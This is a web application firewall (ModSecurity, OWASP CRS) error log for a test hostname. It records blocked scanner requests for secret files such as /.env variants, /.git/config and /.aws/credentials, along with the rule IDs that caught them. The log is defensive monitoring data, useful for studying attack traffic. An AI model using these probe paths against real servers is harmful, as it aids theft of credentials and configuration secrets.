[Sat Mar 01 09:21:06.176316 2025] [:error] [pid 1493081] [client 45.148.10.86:48948] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8LDcutjTwdD1VS0fBKxKAAAAAw&quot;]
[Sat Mar 01 16:18:19.853887 2025] [:error] [pid 1493089] [client 45.148.10.172:52424] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8MlO9_xBm5JReBJp8rnqAAAABQ&quot;]
[Sat Mar 01 16:18:19.854623 2025] [:error] [pid 1493089] [client 45.148.10.172:52424] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8MlO9_xBm5JReBJp8rnqAAAABQ&quot;]
[Sat Mar 01 16:18:19.855092 2025] [:error] [pid 1493089] [client 45.148.10.172:52424] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8MlO9_xBm5JReBJp8rnqAAAABQ&quot;]
[Tue Mar 04 06:48:02.669549 2025] [:error] [pid 1554460] [client 45.148.10.80:40386] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8aUEmDA32NMZtVdg3_PxAAAAAY&quot;]
[Tue Mar 04 06:48:02.671558 2025] [:error] [pid 1554460] [client 45.148.10.80:40386] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8aUEmDA32NMZtVdg3_PxAAAAAY&quot;]
[Tue Mar 04 06:48:02.672139 2025] [:error] [pid 1554460] [client 45.148.10.80:40386] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8aUEmDA32NMZtVdg3_PxAAAAAY&quot;]
[Tue Mar 04 22:05:45.724357 2025] [:error] [pid 1557262] [client 38.47.76.131:55214] [client 38.47.76.131] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8drKYIoHVO-z65fzLYlZgAAAAg&quot;]
[Tue Mar 04 22:05:45.726662 2025] [:error] [pid 1563746] [client 38.47.76.131:55198] [client 38.47.76.131] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8drKWBWbF7llBrBIEWDEwAAAA0&quot;]
[Tue Mar 04 22:05:45.727146 2025] [:error] [pid 1563746] [client 38.47.76.131:55198] [client 38.47.76.131] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8drKWBWbF7llBrBIEWDEwAAAA0&quot;]
[Tue Mar 04 22:05:45.727417 2025] [:error] [pid 1563746] [client 38.47.76.131:55198] [client 38.47.76.131] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z8drKWBWbF7llBrBIEWDEwAAAA0&quot;]
[Tue Mar 04 22:05:45.731198 2025] [:error] [pid 1563743] [client 38.47.76.131:55176] [client 38.47.76.131] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z8drKTES_i3OHGJocrRt9gAAAAI&quot;]
[Tue Mar 04 22:05:45.731434 2025] [:error] [pid 1563743] [client 38.47.76.131:55176] [client 38.47.76.131] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z8drKTES_i3OHGJocrRt9gAAAAI&quot;]
[Tue Mar 04 22:05:45.731650 2025] [:error] [pid 1563743] [client 38.47.76.131:55176] [client 38.47.76.131] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Z8drKTES_i3OHGJocrRt9gAAAAI&quot;]
[Tue Mar 04 22:05:45.731882 2025] [:error] [pid 1557262] [client 38.47.76.131:55214] [client 38.47.76.131] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8drKYIoHVO-z65fzLYlZgAAAAg&quot;]
[Tue Mar 04 22:05:45.732174 2025] [:error] [pid 1557262] [client 38.47.76.131:55214] [client 38.47.76.131] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z8drKYIoHVO-z65fzLYlZgAAAAg&quot;]
[Sun Mar 09 19:17:27.538721 2025] [:error] [pid 1661011] [client 45.148.10.237:48242] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z83bN6PGLf7u63PDybKjNQAAAAM&quot;]
[Sun Mar 09 19:17:27.539940 2025] [:error] [pid 1661011] [client 45.148.10.237:48242] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z83bN6PGLf7u63PDybKjNQAAAAM&quot;]
[Sun Mar 09 19:17:27.540190 2025] [:error] [pid 1661011] [client 45.148.10.237:48242] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z83bN6PGLf7u63PDybKjNQAAAAM&quot;]
[Sun Mar 09 19:17:27.731740 2025] [:error] [pid 1661024] [client 45.148.10.237:48300] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z83bN4j7A5zkImPzPl8TXAAAAAU&quot;]
[Sun Mar 09 19:17:27.732036 2025] [:error] [pid 1661024] [client 45.148.10.237:48300] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z83bN4j7A5zkImPzPl8TXAAAAAU&quot;]
[Sun Mar 09 19:17:27.732285 2025] [:error] [pid 1661024] [client 45.148.10.237:48300] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z83bN4j7A5zkImPzPl8TXAAAAAU&quot;]
[Sun Mar 09 19:17:28.153256 2025] [:error] [pid 1661339] [client 45.148.10.237:48488] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z83bOAictaUf718xO-joQQAAAAo&quot;]
[Sun Mar 09 19:17:28.153520 2025] [:error] [pid 1661339] [client 45.148.10.237:48488] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z83bOAictaUf718xO-joQQAAAAo&quot;]
[Sun Mar 09 19:17:28.153695 2025] [:error] [pid 1661339] [client 45.148.10.237:48488] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z83bOAictaUf718xO-joQQAAAAo&quot;]
[Sun Mar 09 19:17:28.312841 2025] [:error] [pid 1661337] [client 45.148.10.237:48508] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z83bOEDqCpAfbNQ_tz1tiAAAAAg&quot;]
[Sun Mar 09 19:17:28.313078 2025] [:error] [pid 1661337] [client 45.148.10.237:48508] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z83bOEDqCpAfbNQ_tz1tiAAAAAg&quot;]
[Sun Mar 09 19:17:28.313243 2025] [:error] [pid 1661337] [client 45.148.10.237:48508] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z83bOEDqCpAfbNQ_tz1tiAAAAAg&quot;]
[Sun Mar 09 19:17:28.401727 2025] [:error] [pid 1661011] [client 45.148.10.237:48560] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z83bOKPGLf7u63PDybKjOAAAAAM&quot;]
[Sun Mar 09 19:17:28.401958 2025] [:error] [pid 1661011] [client 45.148.10.237:48560] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z83bOKPGLf7u63PDybKjOAAAAAM&quot;]
[Sun Mar 09 19:17:28.402121 2025] [:error] [pid 1661011] [client 45.148.10.237:48560] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z83bOKPGLf7u63PDybKjOAAAAAM&quot;]
[Sun Mar 09 19:17:28.604511 2025] [:error] [pid 1661335] [client 45.148.10.237:48600] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z83bOBEUyzvDVC1ZEqXbcAAAAAY&quot;]
[Sun Mar 09 19:17:28.605082 2025] [:error] [pid 1661335] [client 45.148.10.237:48600] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z83bOBEUyzvDVC1ZEqXbcAAAAAY&quot;]
